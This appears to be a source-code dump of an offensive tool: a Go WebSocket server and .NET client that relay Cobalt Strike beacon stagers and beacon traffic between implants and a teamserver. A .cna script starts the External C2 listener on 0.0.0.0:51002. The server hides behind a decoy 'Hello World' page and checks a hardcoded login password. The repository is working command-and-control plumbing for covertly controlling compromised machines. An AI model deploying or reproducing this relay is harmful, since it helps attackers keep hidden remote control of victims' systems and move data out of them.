{ADCA89F6-AA02-47B1-AAB1-C001EBE143E6}.Release|x86.Build.0 = Release|Any CPU {CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|Any CPU.ActiveCfg = Debug|Win32 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x64.ActiveCfg = Debug|x64 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x64.Build.0 = Debug|x64 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x86.ActiveCfg = Debug|Win32 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Debug|x86.Build.0 = Debug|Win32 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|Any CPU.ActiveCfg = Release|Win32 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x64.ActiveCfg = Release|x64 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x64.Build.0 = Release|x64 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x86.ActiveCfg = Release|Win32 {CD4CC899-F931-4A5D-8B43-099F647C6127}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: client/netRaven/ravenDebug/Program.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; using netRaven; namespace ravenDebug { class Program { static void Main(string[] args) { Core.Run(""); } } } ================================================ FILE: client/netRaven/ravenDebug/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("ravenDebug")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ravenDebug")] [assembly: AssemblyCopyright("Copyright © 2018")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("adca89f6-aa02-47b1-aab1-c001ebe143e6")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: client/netRaven/ravenDebug/app.config ================================================ ================================================ FILE: client/netRaven/ravenDebug/obj/Debug/ravenDebug.csproj.CoreCompileInputs.cache ================================================ ca1bc1cc4e3a79ab6c5a0649659501f83f9f59bb ================================================ FILE: client/netRaven/ravenDebug/ravenDebug.csproj ================================================  Debug AnyCPU {ADCA89F6-AA02-47B1-AAB1-C001EBE143E6} Exe Properties ravenDebug ravenDebug v4.0 512 AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU pdbonly true bin\Release\ TRACE prompt 4 False ..\netRaven\bin\Debug\netRaven.dll ================================================ FILE: externalc2.cna ================================================ # start the External C2 server and bind to 0.0.0.0:51002 # Modify the port as you see fit externalc2_start("0.0.0.0", 51002); ================================================ FILE: server/handler.go ================================================ package main import ( "bytes" "encoding/base64" "encoding/binary" "fmt" "io" "net" "net/http" "strings" "time" "github.com/gorilla/websocket" "github.com/zhuangsirui/binpacker" ) var conn net.Conn const ( stageMsg = 1 beaconMsg = 2 taskMsg = 3 keyMsg = 4 ) // TODO /* const ( processlist = 10 shell = 11 injectsc = 12 upgrade = 13 download = 14 upload = 15 exit = 16 failed = 17 ) */ func createFrame(payload []byte) []byte { buff := new(bytes.Buffer) packer := binpacker.NewPacker(binary.LittleEndian, buff) packer.PushUint32(uint32(len(payload))).PushBytes(payload) if packer.Error() != nil { return make([]byte, 0) } return buff.Bytes() } func readFrame(conn net.Conn) []byte { // Read the frame length first. frameSize := make([]byte, 4) n, err := conn.Read(frameSize) if err != nil { if err != io.EOF { fmt.Printf("Error reading frame: %v\n", err) return frameSize } } numSize := binary.LittleEndian.Uint32(frameSize) sz := int(numSize) buf := make([]byte, 0, sz) tmp := make([]byte, sz) totalRead := 0 for { n, err = conn.Read(tmp) if err != nil { if err == io.EOF { fmt.Printf("Reached EOF reading frame") break } fmt.Printf("Error reading frame: %v", err) break } totalRead += n if totalRead == int(numSize) { buf = append(buf, tmp[:n]...) break } buf = append(buf, tmp[:n]...) time.Sleep(100 * time.Millisecond) } finBuf := append(frameSize, buf...) return finBuf } func socketHandler(w http.ResponseWriter, r *http.Request) { conn, err := websocket.Upgrade(w, r, w.Header(), 1024*1024, 1024*1024) if err != nil { ravenlog("Websocket connection/upgrade failed") http.Error(w, "Websocket connection failed", http.StatusBadRequest) return } // handle the websocket connection ravenlog("Handling websocket connection") go manageClient(conn) } func HandleTaskResponse(tr string) bool { // Decode the response and handle appropriately /*decodedTaskResp*/ _, err := base64.StdEncoding.DecodeString(tr) if err != nil { ravenlog(fmt.Sprintf("Unable to base64 decode task response %v\n", err)) return false } // TODO: Implement logic to handle task responses and present them to the user return true } func HandleStageRequest(sr string) ([]byte, bool) { //Decode the request string and create the frame req, err := base64.StdEncoding.DecodeString(sr) if err != nil { ravenlog(fmt.Sprintf("Unable to base64 decode stagerequest %v\n", err)) return nil, false } conn, err = net.Dial("tcp", *teamserver) if err != nil { ravenlog(fmt.Sprintf("Unable to connect to the teamserver %v\n", err)) return nil, false } options := strings.Split(string(req), ":") archString := fmt.Sprintf("arch=%s", options[1]) pipenameString := fmt.Sprintf("pipename=%s", options[2]) blockString := fmt.Sprintf("block=%s", options[3]) fmt.Printf("Sending stage options\n") for _, msg := range [4]string{archString, pipenameString, blockString, "go"} { frm := createFrame([]byte(msg)) bytesWritten, err := conn.Write(frm) if err != nil || bytesWritten == 0 { fmt.Printf("conn.Write Failed: %s\n", err) } time.Sleep(1 * time.Second) } time.Sleep(5 * time.Second) stager := readFrame(conn) return stager, true } func manageClient(c *websocket.Conn) { defer func() { c.Close() }() type ravenMsg struct { MsgType int `json:"msgType"` Length int `json:"length"` Data string `json:"data"` } newMsg := ravenMsg{} for { // Read a message from the client err := c.ReadJSON(&newMsg) if err != nil { if !strings.Contains(err.Error(), "timeout") { ravenlog(fmt.Sprintf("Error reading JSON: %v\n", err)) break } } // Handle the message according to its type switch newMsg.MsgType { case stageMsg: // Request a beacon stager from the teamserver stager, success := HandleStageRequest(newMsg.Data) if success { respMsg := ravenMsg{} respMsg.MsgType = stageMsg respMsg.Length = len(stager) respMsg.Data = base64.StdEncoding.EncodeToString(stager) err = c.WriteJSON(&respMsg) if err != nil { ravenlog(fmt.Sprintf("Error writing JSON: %v\n", err)) break } } else { ravenlog("HandleStageRequest failed") } case beaconMsg: // Forward the frame to the server and return any new frames decodedFrame, _ := base64.StdEncoding.DecodeString(newMsg.Data) //frame := createFrame(decodedFrame) v, err := conn.Write(decodedFrame) if err != nil || v == 0 { ravenlog(fmt.Sprintf("conn.Write failed: %s\n", err)) break } frame := readFrame(conn) respMsg := ravenMsg{} respMsg.MsgType = beaconMsg respMsg.Length = len(frame) respMsg.Data = base64.StdEncoding.EncodeToString(frame) err = c.WriteJSON(&respMsg) if err != nil { ravenlog(fmt.Sprintf("Error writing JSON: %v\n", err)) break } case taskMsg: // Handle the task response success := HandleTaskResponse(newMsg.Data) if success != true { ravenlog("Failed to handle task response") } else { ravenlog("HandleTaskResponse returned true") } break case keyMsg: //TODO: Implement key negotiation logic break } // TODO: Implement task queue logic. Check for new tasks and send them to the client. } } ================================================ FILE: server/index.html ================================================ Sample "Hello, World" Application

Sample "Hello, World" Application

This is the home page for the HelloWorld Web application.

To prove that they work, you can execute either of the following links:

================================================ FILE: server/main.go ================================================ package main import ( "flag" "fmt" "log" "net/http" "os" "github.com/kabukky/httpscerts" ) // Author: @xorrior // url: // Purpose: Websocket server and client for cobaltstrike's external c2 component var logger *log.Logger var debug = flag.Bool("debug", false, "Enable debug output") var teamserver = flag.String("teamserver", "", "IP Address and Port for the Cobaltstrike team server.") var bindAddress = flag.String("server", "127.0.0.1:80", "Bind IP and Port for the Websocket Server") var defaultPage = flag.String("defaultPage", "", "Local path to the html file to serve") var removeDatabase = flag.Bool("clearDB", false, "Delete the sqlite database and create a new one") var ssl = flag.Bool("ssl", false, "Use ssl for the websocket server. The server will check for a pre-existing cert and key file before generating a self-signed pair. (cert.pem and key.pem)") // Reference: https://github.com/gorilla/websocket/blob/master/examples/chat/main.go#L15 func serveDefaultPage(w http.ResponseWriter, r *http.Request) { log.Println("Received request", r.URL) if r.URL.Path != "/" { http.Error(w, "Not found", http.StatusNotFound) return } if r.Method != "GET" { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } http.ServeFile(w, r, *defaultPage) } func ravenlog(msg string) { if logger != nil { logger.Println(msg) } } func main() { flag.Parse() // Check to make sure the homepage and teamserver flags were used if *defaultPage == "" || *teamserver == "" { flag.Usage() os.Exit(1) } if *debug == true { logger = log.New(os.Stdout, "raven: ", log.Lshortfile|log.LstdFlags) } http.HandleFunc("/", serveDefaultPage) http.HandleFunc("/ws", socketHandler) if *ssl == true { err := httpscerts.Check("cert.pem", "key.pem") if err != nil { ravenlog("Generating SSL pem and private key.") err = httpscerts.Generate("cert.pem", "key.pem", *bindAddress) if err != nil { log.Fatal("Error generating https certificates") os.Exit(1) } } ravenlog(fmt.Sprintf("Starting secure websockets server at wss://%s", *bindAddress)) err = http.ListenAndServeTLS(*bindAddress, "cert.pem", "key.pem", nil) if err != nil { log.Fatal("Failed to start raven server: ", err) } } else { ravenlog(fmt.Sprintf("Starting websockets server at ws://%s", *bindAddress)) err := http.ListenAndServe(*bindAddress, nil) if err != nil { log.Fatal("Failed to start raven server: ", err) } } } ================================================ FILE: server/setup.sh ================================================ #!/bin/bash if (( $EUID != 0 )); then echo "Please run this with sudo or as root" exit fi apt-get install golang-go go get -u github.com/kabukky/httpscerts go get -u github.com/gorilla/websocket go get -u github.com/zhuangsirui/binpacker go build -o server main.go handler.go userhandler.go echo "Run ./server -help for options" echo "Done" ================================================ FILE: server/userhandler.go ================================================ package main import ( "database/sql" "fmt" "log" "os" "github.com/graarh/golang-socketio" "github.com/graarh/golang-socketio/transport" ) const ( stringType = 0 intType = 1 fileType = 2 ) type Message struct { TaskID int `json:"taskID"` DataType int `json:"dataType"` Data []byte `json:"data"` } type AuthMessage struct { Username string `json:"username"` Password string `json:"password"` } func startUIServer(clearDB bool) { // Main function responsible for handling client connections if clearDB { setupDatabase() } server := gosocketio.NewServer(transport.GetDefaultWebsocketTransport()) // server.On(gosocketio.OnConnection, func(c *gosocketio.Channel, args Message) { fmt.Printf("Client with ID %s has connected\n", c.Id) }) server.On("login", func(c *gosocketio.Channel, args AuthMessage) { if args.Username == "" || args.Password == "" || args.Password != "HelloWorld!!@#" { //Testing password, please change c.Emit("FailedLogin", Message{TaskID: 0, DataType: stringType, Data: []byte("Failed")}) } else { // Send to the login function and add the user to the DB login(c.Id(), args.Username, args.Password) c.Emit("SuccessfulLogin", Message{TaskID: 0, DataType: stringType, Data: []byte("Success")}) } }) } func login(clientID string, username string, password string) { // Authenticate users upon connection } func setupDatabase() { _, err := os.OpenFile("raven.db", os.O_RDWR|os.O_CREATE, 0755) if err != nil { fmt.Printf("Error opening/creating database: %v\n", err) os.Exit(1) } db, err := sql.Open("sqlite3", "raven.db") if err != nil { fmt.Println(err) os.Exit(1) } _, err = db.Exec("CREATE TABLE `users` (`db_id` INTEGER PRIMARY KEY AUTOINCREMENT, `client_id` VARCHAR(64) NULL, `username` VARCHAR(128) NULL, `password` VARCHAR(128) NULL)") if err != nil { log.Fatal(err) os.Exit(1) } _, err = db.Exec("CREATE TABLE `clients` ()") //TODO: Add clients table }